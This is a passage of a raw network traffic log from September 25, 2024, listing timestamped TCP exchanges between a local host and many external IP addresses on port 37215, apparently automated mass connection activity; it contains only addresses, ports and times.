Sep 25, 2024 14:14:16.726047993 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:16.726047993 CEST	60398	37215	192.168.2.14	156.6.55.12
Sep 25, 2024 14:14:16.726047993 CEST	58104	37215	192.168.2.14	41.210.218.248
Sep 25, 2024 14:14:16.790047884 CEST	46854	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:16.790049076 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:16.790047884 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:16.790051937 CEST	37168	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:16.790056944 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:16.790056944 CEST	35606	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:16.790064096 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:16.790088892 CEST	52240	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:16.794038057 CEST	44234	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:16.822143078 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:16.844311953 CEST	37215	46854	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:16.844337940 CEST	37215	37168	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:16.844348907 CEST	37215	35606	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:16.844360113 CEST	37215	52240	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:16.844372034 CEST	37215	44234	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:16.846323967 CEST	37215	56184	156.70.247.176	192.168.2.14
Sep 25, 2024 14:14:16.846337080 CEST	37215	52886	156.105.68.78	192.168.2.14
Sep 25, 2024 14:14:16.846354961 CEST	37215	38410	41.82.80.33	192.168.2.14
Sep 25, 2024 14:14:16.846366882 CEST	37215	38636	197.19.250.225	192.168.2.14
Sep 25, 2024 14:14:16.846400023 CEST	56184	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.846415043 CEST	38410	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.846442938 CEST	37215	34324	41.146.12.74	192.168.2.14
Sep 25, 2024 14:14:16.846476078 CEST	52886	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.846523046 CEST	56184	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.846523046 CEST	56184	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.846828938 CEST	37215	54918	156.207.45.124	192.168.2.14
Sep 25, 2024 14:14:16.846841097 CEST	37215	54918	156.207.45.124	192.168.2.14
Sep 25, 2024 14:14:16.846849918 CEST	37215	38636	197.19.250.225	192.168.2.14
Sep 25, 2024 14:14:16.846859932 CEST	37215	34324	41.146.12.74	192.168.2.14
Sep 25, 2024 14:14:16.846880913 CEST	37215	34628	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:16.846892118 CEST	37215	32974	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:16.846901894 CEST	37215	51748	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:16.846911907 CEST	37215	60702	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:16.846921921 CEST	37215	39192	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:16.846920967 CEST	34628	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:16.846935034 CEST	37215	39386	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:16.846937895 CEST	60702	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:16.846939087 CEST	51748	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:16.846944094 CEST	32974	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:16.846987963 CEST	39192	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:16.846993923 CEST	56210	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.846993923 CEST	39386	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:16.847605944 CEST	37215	36726	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:16.847618103 CEST	37215	50920	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:16.847630024 CEST	37215	38202	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:16.847640991 CEST	37215	46854	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:16.847651005 CEST	37215	57802	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:16.847652912 CEST	50920	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:16.847651958 CEST	36726	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:16.847661018 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:16.847670078 CEST	37215	37168	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:16.847681999 CEST	37215	41858	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:16.847692966 CEST	37215	39222	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:16.847693920 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:16.847703934 CEST	37215	35606	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:16.847714901 CEST	37215	52240	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:16.847714901 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:16.847724915 CEST	37215	35702	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:16.847733974 CEST	37215	44234	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:16.847744942 CEST	37215	33676	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:16.847749949 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:16.847758055 CEST	38410	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.847758055 CEST	38410	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.847800970 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:16.847800970 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:16.848261118 CEST	38422	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.849214077 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:16.849216938 CEST	52886	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.849216938 CEST	52886	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.849217892 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:16.849983931 CEST	52908	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.851350069 CEST	37215	56184	156.70.247.176	192.168.2.14
Sep 25, 2024 14:14:16.851799965 CEST	37215	56210	156.70.247.176	192.168.2.14
Sep 25, 2024 14:14:16.851859093 CEST	56210	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.852582932 CEST	37215	38410	41.82.80.33	192.168.2.14
Sep 25, 2024 14:14:16.853044987 CEST	37215	38422	41.82.80.33	192.168.2.14
Sep 25, 2024 14:14:16.853086948 CEST	38422	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:16.853368998 CEST	59828	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:16.854001999 CEST	37215	39222	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:16.854012012 CEST	37215	52886	156.105.68.78	192.168.2.14
Sep 25, 2024 14:14:16.854064941 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:16.854178905 CEST	37215	33676	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:16.854250908 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:16.854780912 CEST	37215	52908	156.105.68.78	192.168.2.14
Sep 25, 2024 14:14:16.854820967 CEST	52908	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.858166933 CEST	37215	59828	197.211.167.22	192.168.2.14
Sep 25, 2024 14:14:16.858222008 CEST	59828	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:16.858223915 CEST	35810	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:16.859937906 CEST	56210	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.859942913 CEST	32974	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:16.859942913 CEST	32974	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:16.860889912 CEST	33372	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:16.862107038 CEST	34628	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:16.862107038 CEST	34628	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:16.863069057 CEST	37215	35810	197.84.75.37	192.168.2.14
Sep 25, 2024 14:14:16.863142014 CEST	35810	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:16.864762068 CEST	37215	32974	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:16.864836931 CEST	37215	56210	156.70.247.176	192.168.2.14
Sep 25, 2024 14:14:16.865710020 CEST	37215	33372	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:16.865895033 CEST	33372	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:16.865957022 CEST	56210	37215	192.168.2.14	156.70.247.176
Sep 25, 2024 14:14:16.866326094 CEST	35020	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:16.866868973 CEST	37215	34628	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:16.871110916 CEST	37215	35020	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:16.871201038 CEST	35020	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:16.886039019 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:16.886039019 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:16.886045933 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:16.886073112 CEST	41176	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:16.886085033 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:16.886095047 CEST	58982	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:16.886193037 CEST	45086	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:16.890981913 CEST	37215	53524	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:16.891021967 CEST	37215	35132	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:16.891033888 CEST	37215	56644	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:16.891045094 CEST	37215	59048	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:16.891107082 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:16.891113043 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:16.891113043 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:16.891130924 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:16.893815041 CEST	37215	38410	41.82.80.33	192.168.2.14
Sep 25, 2024 14:14:16.893826962 CEST	37215	56184	156.70.247.176	192.168.2.14
Sep 25, 2024 14:14:16.897829056 CEST	37215	52886	156.105.68.78	192.168.2.14
Sep 25, 2024 14:14:16.905802011 CEST	37215	32974	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:16.909828901 CEST	37215	34628	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:16.921123981 CEST	51748	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:16.921123981 CEST	51748	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:16.921124935 CEST	52908	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.926029921 CEST	37215	51748	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:16.926162004 CEST	37215	52908	156.105.68.78	192.168.2.14
Sep 25, 2024 14:14:16.929634094 CEST	52908	37215	192.168.2.14	156.105.68.78
Sep 25, 2024 14:14:16.965615034 CEST	52126	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:16.970565081 CEST	37215	52126	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:16.970813036 CEST	52126	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:16.973804951 CEST	37215	51748	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:17.012381077 CEST	39192	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.012381077 CEST	39192	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.013679981 CEST	39566	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.015456915 CEST	39386	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.015456915 CEST	39386	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.016473055 CEST	39760	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.017343998 CEST	37215	39192	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:17.017746925 CEST	60702	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.017746925 CEST	60702	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.018568039 CEST	37215	39566	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:17.018644094 CEST	39566	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.018992901 CEST	32842	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.020519018 CEST	36726	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.020519018 CEST	36726	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.020618916 CEST	37215	39386	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:17.021322012 CEST	37215	39760	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:17.021363020 CEST	39760	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.021758080 CEST	37080	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.022964954 CEST	37215	60702	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:17.023072004 CEST	50920	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.023072004 CEST	50920	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.023963928 CEST	37215	32842	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:17.024024963 CEST	32842	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.024733067 CEST	51270	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.025437117 CEST	37215	36726	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:17.026639938 CEST	37215	37080	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:17.026846886 CEST	37080	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.026889086 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.026889086 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.027910948 CEST	37215	50920	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:17.029789925 CEST	38552	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.031001091 CEST	37215	51270	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:17.031060934 CEST	51270	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.031780005 CEST	37215	38202	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:17.034174919 CEST	38422	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:17.034181118 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.034181118 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.034594059 CEST	37215	38552	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:17.034868002 CEST	38552	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.037053108 CEST	58132	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.039000988 CEST	37215	57802	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:17.039099932 CEST	37215	38422	41.82.80.33	192.168.2.14
Sep 25, 2024 14:14:17.039143085 CEST	38422	37215	192.168.2.14	41.82.80.33
Sep 25, 2024 14:14:17.039927006 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.039927006 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.041273117 CEST	42188	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.041960001 CEST	37215	58132	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:17.042005062 CEST	58132	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.043541908 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.043541908 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.044773102 CEST	37215	41858	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:17.046147108 CEST	37215	42188	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:17.046189070 CEST	42188	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.046479940 CEST	36032	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.048259974 CEST	51564	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:17.048393011 CEST	37215	35702	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:17.049724102 CEST	40264	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.051285028 CEST	37215	36032	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:17.051326036 CEST	36032	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.053116083 CEST	37215	51564	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:17.053154945 CEST	51564	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:17.053196907 CEST	45954	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:17.053865910 CEST	59828	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.053865910 CEST	59828	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.054260015 CEST	59862	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.054565907 CEST	37215	40264	41.93.111.228	192.168.2.14
Sep 25, 2024 14:14:17.054609060 CEST	40264	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.054945946 CEST	39760	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.054948092 CEST	33372	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:17.054948092 CEST	39566	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.054948092 CEST	52126	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:17.054975986 CEST	32842	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.054975986 CEST	37080	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.054975986 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:17.054977894 CEST	35020	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:17.054977894 CEST	51270	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.055001020 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:17.055001974 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:17.055001974 CEST	58132	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.055005074 CEST	38552	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.055008888 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:17.055008888 CEST	42188	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.055022001 CEST	36032	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.055439949 CEST	46666	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:17.056462049 CEST	56738	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:17.057879925 CEST	51490	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:17.057980061 CEST	37215	45954	156.234.214.18	192.168.2.14
Sep 25, 2024 14:14:17.058126926 CEST	45954	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:17.058686018 CEST	37215	59828	197.211.167.22	192.168.2.14
Sep 25, 2024 14:14:17.058736086 CEST	38982	37215	192.168.2.14	156.175.50.147
Sep 25, 2024 14:14:17.059083939 CEST	37215	59862	197.211.167.22	192.168.2.14
Sep 25, 2024 14:14:17.059123039 CEST	59862	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.059595108 CEST	48698	37215	192.168.2.14	156.5.24.206
Sep 25, 2024 14:14:17.060079098 CEST	37215	39760	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:17.060102940 CEST	37215	33372	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:17.060120106 CEST	37215	52126	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:17.060132980 CEST	39760	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:17.060146093 CEST	37215	39566	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:17.060154915 CEST	33372	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:17.060157061 CEST	37215	32842	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:17.060168028 CEST	37215	35020	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:17.060178041 CEST	52126	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:17.060180902 CEST	37215	37080	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:17.060204029 CEST	39566	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:17.060209036 CEST	37215	51270	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:17.060209990 CEST	35020	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:17.060210943 CEST	32842	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:17.060236931 CEST	37215	56644	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:17.060240030 CEST	37080	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:17.060251951 CEST	51270	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:17.060283899 CEST	48192	37215	192.168.2.14	41.133.229.37
Sep 25, 2024 14:14:17.060302019 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:17.060334921 CEST	37215	46666	156.237.235.153	192.168.2.14
Sep 25, 2024 14:14:17.060365915 CEST	46666	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:17.060642958 CEST	37215	59048	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:17.060657978 CEST	37215	35132	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:17.060677052 CEST	37215	38552	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:17.060687065 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:17.060688019 CEST	37215	58132	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:17.060698986 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:17.060698986 CEST	37215	42188	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:17.060730934 CEST	58132	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:17.060734987 CEST	38552	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:17.060744047 CEST	42188	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:17.060772896 CEST	37215	53524	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:17.060785055 CEST	37215	36032	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:17.060812950 CEST	36032	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:17.060925961 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:17.061230898 CEST	37215	56738	41.93.99.103	192.168.2.14
Sep 25, 2024 14:14:17.061275959 CEST	56738	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:17.061765909 CEST	37215	39192	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:17.062112093 CEST	35428	37215	192.168.2.14	41.163.10.152
Sep 25, 2024 14:14:17.062714100 CEST	37215	51490	41.94.152.146	192.168.2.14
Sep 25, 2024 14:14:17.062760115 CEST	51490	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:17.064765930 CEST	34998	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:17.065840960 CEST	37215	39386	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:17.065855026 CEST	37215	36726	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:17.065865040 CEST	37215	60702	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:17.065912008 CEST	39208	37215	192.168.2.14	41.7.151.239
Sep 25, 2024 14:14:17.067574978 CEST	42374	37215	192.168.2.14	41.104.29.87
Sep 25, 2024 14:14:17.069114923 CEST	57886	37215	192.168.2.14	156.77.57.155
Sep 25, 2024 14:14:17.069626093 CEST	37215	34998	41.22.143.134	192.168.2.14
Sep 25, 2024 14:14:17.069683075 CEST	34998	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:17.070358992 CEST	48804	37215	192.168.2.14	41.206.92.108
Sep 25, 2024 14:14:17.071903944 CEST	46954	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:17.073091984 CEST	32938	37215	192.168.2.14	41.49.19.95
Sep 25, 2024 14:14:17.073950052 CEST	37215	50920	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:17.074024916 CEST	37215	38202	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:17.074172974 CEST	56162	37215	192.168.2.14	41.177.243.71
Sep 25, 2024 14:14:17.075406075 CEST	41946	37215	192.168.2.14	197.29.42.45
Sep 25, 2024 14:14:17.076309919 CEST	35810	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:17.076311111 CEST	35810	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:17.076314926 CEST	59862	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.076797009 CEST	37215	46954	156.205.204.61	192.168.2.14
Sep 25, 2024 14:14:17.076841116 CEST	35876	37215	192.168.2.14	197.84.75.37
Sep 25, 2024 14:14:17.076848030 CEST	46954	37215	192.168.2.14	156.205.204.61
Sep 25, 2024 14:14:17.077569962 CEST	51564	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:17.077569962 CEST	51564	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:17.078207970 CEST	51606	37215	192.168.2.14	197.37.51.50
Sep 25, 2024 14:14:17.079504013 CEST	46944	37215	192.168.2.14	41.228.32.202
Sep 25, 2024 14:14:17.080389023 CEST	46666	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:17.080389023 CEST	46666	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:17.081135035 CEST	37215	35810	197.84.75.37	192.168.2.14
Sep 25, 2024 14:14:17.081146955 CEST	37215	59862	197.211.167.22	192.168.2.14
Sep 25, 2024 14:14:17.081192970 CEST	59862	37215	192.168.2.14	197.211.167.22
Sep 25, 2024 14:14:17.081233025 CEST	46704	37215	192.168.2.14	156.237.235.153
Sep 25, 2024 14:14:17.081707001 CEST	56738	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:17.081707954 CEST	56738	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:17.082068920 CEST	56776	37215	192.168.2.14	41.93.99.103
Sep 25, 2024 14:14:17.082437992 CEST	37215	51564	197.37.51.50	192.168.2.14
Sep 25, 2024 14:14:17.083025932 CEST	40264	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.083025932 CEST	40264	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.083617926 CEST	40312	37215	192.168.2.14	41.93.111.228
Sep 25, 2024 14:14:17.084310055 CEST	51490	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:17.084310055 CEST	51490	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:17.084769964 CEST	51530	37215	192.168.2.14	41.94.152.146
Sep 25, 2024 14:14:17.085272074 CEST	37215	46666	156.237.235.153	192.168.2.14
Sep 25, 2024 14:14:17.085391998 CEST	34998	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:17.085391998 CEST	34998	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:17.085783005 CEST	37215	41858	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:17.085793972 CEST	37215	57802	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:17.085984945 CEST	35030	37215	192.168.2.14	41.22.143.134
Sep 25, 2024 14:14:17.086533070 CEST	37215	56738	41.93.99.103	192.168.2.14
Sep 25, 2024 14:14:17.086802959 CEST	45954	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:17.086802959 CEST	45954	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:17.087264061 CEST	46006	37215	192.168.2.14	156.234.214.18
Sep 25, 2024 14:14:17.087842941 CEST	37215	40264	41.93.111.228	192.168.2.14
Sep 25, 2024 14:14:17.087979078 CEST	46954	37215	192.168.2.14	156.205.204.61
